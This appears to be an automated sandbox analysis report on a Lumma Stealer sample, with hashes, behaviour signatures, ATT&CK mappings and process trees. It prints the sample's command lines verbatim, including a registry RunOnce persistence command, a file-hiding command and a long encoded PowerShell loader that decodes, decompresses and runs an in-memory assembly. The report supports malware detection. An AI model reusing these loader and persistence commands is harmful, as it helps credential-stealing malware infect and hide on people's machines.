lumma | d3ec28c089d98942413d9d197ff38b0bd2c336df708564307467edb58f23ea37

General

Target

particovl.bat
Size

699.1MB
MD5

85e4843ddbeb2ef9a3cdea6497bbdfa9
SHA1

5556ac2aa0d52daa7240877e6df1b60d3969ecec
SHA256

4049b93a33911701f2b975d19db0f91e4ae70ccbeee83a93f3352aa76a0152d8
SHA512

6c875856504f70ac80912f88e61fd67e9e37e0001d4c0a3c1f6703f69f0e3194142b6c93d941a85d2d721e53a2c1c2e1c59665ccd8fbb803419388d1908e8684
SSDEEP

384:Yi56N+inFXIvK0NgMzIR9tFhnvOTSMnZdqEoyZZd5hJUvCUvcmS/lggNbQRq55en:8X+K8xwvWSpmZ5emKAbJ55hz0h

Score

10^/10

lumma evasion persistence spyware stealer

Malware Config

Signatures

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

3924 attrib.exe

pid	process
3924	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

particovl.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	particovl.bat.exe

Executes dropped EXE 2 IoCs

Processes:

particovl.bat.exeparticovl.bat.exe

pid process

4640 particovl.bat.exe
4676 particovl.bat.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4640	particovl.bat.exe
4676	particovl.bat.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat"	reg.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

particovl.bat.exe

description pid process target process

PID 4640 set thread context of 4676 4640 particovl.bat.exe particovl.bat.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

particovl.bat.exepowershell.exe

pid process

4640 particovl.bat.exe
4640 particovl.bat.exe
1584 powershell.exe
1584 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

particovl.bat.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4640 particovl.bat.exe
Token: SeDebugPrivilege 1584 powershell.exe

description	pid	process	target process
PID 4640 set thread context of 4676	4640	particovl.bat.exe	particovl.bat.exe

pid	process
4640	particovl.bat.exe
4640	particovl.bat.exe
1584	powershell.exe
1584	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4640	particovl.bat.exe
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

cmd.exeparticovl.bat.exe

description	pid	process	target process
PID 4296 wrote to memory of 4076	4296	cmd.exe	reg.exe
PID 4296 wrote to memory of 4076	4296	cmd.exe	reg.exe
PID 4296 wrote to memory of 3924	4296	cmd.exe	attrib.exe
PID 4296 wrote to memory of 3924	4296	cmd.exe	attrib.exe
PID 4296 wrote to memory of 4640	4296	cmd.exe	particovl.bat.exe
PID 4296 wrote to memory of 4640	4296	cmd.exe	particovl.bat.exe
PID 4296 wrote to memory of 4640	4296	cmd.exe	particovl.bat.exe
PID 4640 wrote to memory of 1584	4640	particovl.bat.exe	powershell.exe
PID 4640 wrote to memory of 1584	4640	particovl.bat.exe	powershell.exe
PID 4640 wrote to memory of 1584	4640	particovl.bat.exe	powershell.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	particovl.bat.exe
PID 4296 wrote to memory of 2260	4296	cmd.exe	attrib.exe
PID 4296 wrote to memory of 2260	4296	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

3924 attrib.exe
2260 attrib.exe

pid	process
3924	attrib.exe
2260	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\particovl.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4296

C:\Windows\system32\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"
2⤵
- Adds Run key to start application
PID:4076

C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:3924

C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
3⤵
- Executes dropped EXE
PID:4676

C:\Windows\system32\attrib.exe
attrib -s -h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
2⤵
- Views/modifies file attributes
PID:2260

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

2

T1158

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

2

T1158

Modify Registry

1

T1112

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
15f8250d33bccc905343f7516361bf66

SHA1
0f1f376343d02ffb6c57d43e39d12bbab11ceff2

SHA256
bbd35c22ee7ff7375e563b8fc9e4b6756880bfee860f19f1bd94863ddc64759b

SHA512
bca58c05db0d08b2b0a4f7ab445739e8686e8caaf297f283acc3f763c3aed61b195f7b1b1c7500e0fc5cfd9d1fd4f2414145a2bb24e32f1e71adb08e22a6cdea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hp4y3om0.xf1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
memory/1584-176-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/1584-175-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/1584-173-0x0000000004F60000-0x0000000004F70000-memory.dmp

Filesize
64KB

Download
memory/4640-144-0x0000000005340000-0x00000000053A6000-memory.dmp

Filesize
408KB

Download
memory/4640-145-0x0000000005460000-0x00000000054C6000-memory.dmp

Filesize
408KB

Download
memory/4640-156-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/4640-157-0x0000000007880000-0x0000000007EFA000-memory.dmp

Filesize
6.5MB

Download
memory/4640-158-0x0000000006670000-0x000000000668A000-memory.dmp

Filesize
104KB

Download
memory/4640-160-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/4640-159-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/4640-161-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/4640-163-0x0000000007150000-0x000000000718C000-memory.dmp

Filesize
240KB

Download
memory/4640-155-0x0000000006140000-0x000000000615E000-memory.dmp

Filesize
120KB

Download
memory/4640-143-0x00000000052A0000-0x00000000052C2000-memory.dmp

Filesize
136KB

Download
memory/4640-142-0x0000000005650000-0x0000000005C78000-memory.dmp

Filesize
6.2MB

Download
memory/4640-141-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/4640-139-0x0000000002C60000-0x0000000002C96000-memory.dmp

Filesize
216KB

Download
memory/4640-140-0x0000000005010000-0x0000000005020000-memory.dmp

Filesize
64KB

Download
memory/4676-179-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/4676-183-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/4676-185-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/4676-186-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download
memory/4676-187-0x0000000000400000-0x0000000000507000-memory.dmp

Filesize
1.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads